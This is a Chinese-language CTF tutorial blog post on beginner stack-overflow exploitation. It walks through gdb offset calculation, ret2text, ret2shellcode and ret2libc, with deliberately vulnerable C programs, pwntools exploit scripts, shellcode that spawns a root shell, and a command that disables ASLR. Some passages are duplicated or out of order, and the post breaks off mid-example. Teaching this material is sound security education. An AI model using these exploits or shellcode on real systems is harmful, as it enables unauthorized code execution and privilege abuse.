PWN-栈溢出入门

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2021-08-19 14:10

Leishi

Security

 Lab

 PWN-栈溢出入门 


溢出padding计算

方法1:esp/ebp距离计算

1. 溢出函数处下断点

b main

2. 记录esp、ebp

EBP: 0xbffff508 --> 0x0

ESP: 0xbffff480 --> 0x0

3. 找到溢出函数参数位置

0x804858c <main+95>: lea    eax,[esp+0x1c]

4. padding = (ebp - (esp+1c)) + 4 = (0xbffff508 - 0xbffff480 - 0x1c ) +4 = 112


方法2:pattern_create


通常情况下ebp + 4/rbp + 8更准确

pattern_offset $ebp

pattern_offset $eip

pattern_offset $rbp

pattern_offset $rip


方法3:cyclic



┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic 200                                                                                                                                                                                                                     148 ⨯ 1 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
                                                                                                                                                                                                                                             
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb ret2shellcode                                                                                                                                                                                                                    1 ⚙
gdb-peda$ run
Starting program: /home/kali/Desktop/CTF/ret2shellcode 
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x9 ('\t')
EDX: 0xffffffff 
ESI: 0xb7fb0000 --> 0x1e4d6c 
EDI: 0xb7fb0000 --> 0x1e4d6c 
EBP: 0x62616163 ('caab')
ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x62616164 ('daab')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x62616164

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616164 in ?? ()
gdb-peda$ 
zsh: suspended  gdb ret2shellcode
                                                                                                                                                                                                                                             
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic -l "0x62616164"                                                                                                                                                                                                         148 ⨯ 2 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
112
                                     




栈溢出利用

ret2text

ret2text 即控制程序执行程序本身已有的的代码(.text)


示例



// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text

#include <stdio.h>

#include <string.h>



void success() {

    puts("SUCCESS!!!");

    system("cat flag");

}



void vulnerable() {

  char s[12];

  gets(s);

  puts(s);

  return;

}



int main(int argc, char **argv) {

  vulnerable();

  return 0;

}


.text段存在flag关键信息函数

计算溢出长度

xxxxx

python代码

from pwn import *


sh = process("./ret2text")

win = 0x8049182

sh.sendline(b'A'*24 + p32(win))

sh.interactive()


ret2shellcode

图1

图2

问题:如何确定shellcode起始地址

关闭ASLR

ASLR(系统开启的)


ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。


在linux中使用此技术后,杀死某程序后重新开启,地址换。


在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。




以上cat命令输出的值表示:


0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址,stack和vdso页面随机化。

2 - 表示在1的基础上增加栈(heap)的随机化。


echo 0 > /proc/sys/kernel/randomize_va_space

echo 1 > /proc/sys/kernel/core_uses_pid

示例

#include <unistd.h>

void vuln_func()

{

        char buf[128];

        read(STDIN_FILENO,buf,256);

}


int main(void)

{

        vuln_func();

        write(STDOUT_FILENO,"hello world!\n",13);

}


1. 执行溢出确定溢出地址和core文件

为什么是$esp-140-4 因为此时的esp指向函数返回地址

函数是执行ret之后才报错的,所以此时代码已经执行完成ret,也就是说esp指向(返回地址 + 4)


└─# gdb stack3 core.2936 -q 1 ⚙

Reading symbols from stack3...

(No debugging symbols found in stack3)

[New LWP 2936]

Core was generated by `./stack3'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0xbf91afc0 in ?? ()

gdb-peda$ x/4wx $esp-140-4

0xbffff4c0: 0x2f68686a 0x68732f2f 0x6e69622f 0x0168e389

gdb-peda$

zsh: suspended gdb stack3 core.2936 -q



#!/usr/bin/env python

from pwn import *



sh = process('./stack3')



# 方法1

shellcode = asm(shellcraft.sh())

buf2_addr = 0xbffff4c0

print(shellcode)

pause()

sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )

sh.interactive()┌──(root�kali)-[/home/kali/Desktop/CTF]

└─# gdb stack3 core.2936 -q 1 ⚙

Reading symbols from stack3...

(No debugging symbols found in stack3)

[New LWP 2936]

Core was generated by `./stack3'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0xbf91afc0 in ?? ()

gdb-peda$ x/4wx $esp-140-4

0xbffff4c0: 0x2f68686a 0x68732f2f 0x6e69622f 0x0168e389

gdb-peda$

zsh: suspended gdb stack3 core.2936 -q



#!/usr/bin/env python

from pwn import *



sh = process('./stack3')



# 方法1

shellcode = asm(shellcraft.sh())

buf2_addr = 0xbffff4c0

print(shellcode)

pause()

sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )

sh.interactive()
// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text

#include <stdio.h>

#include <string.h>



void success() {

puts("SUCCESS!!!");

system("cat flag");

}



void vulnerable() {

char s[12];

gets(s);

puts(s);

return;

}



int main(int argc, char **argv) {

vulnerable();

return 0;

}


方法2:


└─# gdb stack3 core.2961 -q 6 ⚙

Reading symbols from stack3...

(No debugging symbols found in stack3)

[New LWP 2961]

Core was generated by `./stack3'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0xbf91afc0 in ?? ()

gdb-peda$ x/4wx $esp

0xbffff550: 0xbffff50a 0x00000000 0x00000000 0xb7de9e46

gdb-peda$







#!/usr/bin/env python

from pwn import *



sh = process('./stack3')

# 方法2

buf2_addr = 0xbffff550 # 就是esp的值

print(shellcode)

pause()

sh.sendline(b'b'*140+ p32(buf2_addr) + shellcode)

sh.interactive()





┌──(root�kali)-[/home/kali/Desktop/CTF]

└─# python3 stack3.py 3 ⚙

[!] Pwntools does not support 32-bit Python. Use a 64-bit release.

[+] Starting local process './stack3': pid 3037

b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

[*] Switching to interactive mode

$ id

uid=0(root) gid=0(root) groups=0(root),143(kaboxer)

$

[*] Interrupted

[*] Stopped process './stack3' (pid 3037)



ret2libc

例1

IDA分析

sh_addr = 0x08048720


system_addr = 0x08048460

padding = 112

exp

from pwn import *


sh = process("./ret2libc1")


binsh = 0x08048720


system_plt = 0x08048460


whatever_addr = 0x11111111


payload = b"a" * 112

payload += p32(system_plt)

payload += p32(whatever_addr)# 这里就是调用system的返回地址,没有实际意义

payload += p32(binsh)


sh.sendline(payload)


sh.interactive()


例2

checksec

xxxxx


计算padding = 112

.bss buf2 = 0x0804A080

gets = 08048460

system = 08048490

栈情况分析

exp

from pwn import *


sh = process("./ret2libc2")


get_addr = 0x08048460

buf_addr = 0x0804A080

system_addr = 0x08048490


payload = b"Q" * 112

payload += p32(get_addr)

payload += p32(system_addr)

payload += p32(buf_addr)

payload += p32(buf_addr)


sh.sendline(payload)

sh.sendline("/bin/sh")


sh.interactive()


exp2

from pwn import *


sh = process("./ret2libc2")

elf = ELF("./ret2libc2")


get_addr = elf.plt['gets']

system_addr = elf.plt['system']

buf_addr = elf.symbols['buf2']


payload = b"Q" * 112

payload += p32(get_addr)

payload += p32(system_addr)

payload += p32(buf_addr)

payload += p32(buf_addr)


sh.sendline(payload)

sh.sendline("/bin/sh")


sh.interactive()



例3

函数基址 base = A函数got - A函数libc = B函数got - B函数libc


xctf level3

libc_write = 0x000D43C0

libc_system = 0x0003A940

libc_bin = 0x0015902B

2021

LEISHI

SECURITY


LEISHI////ARRIVAL

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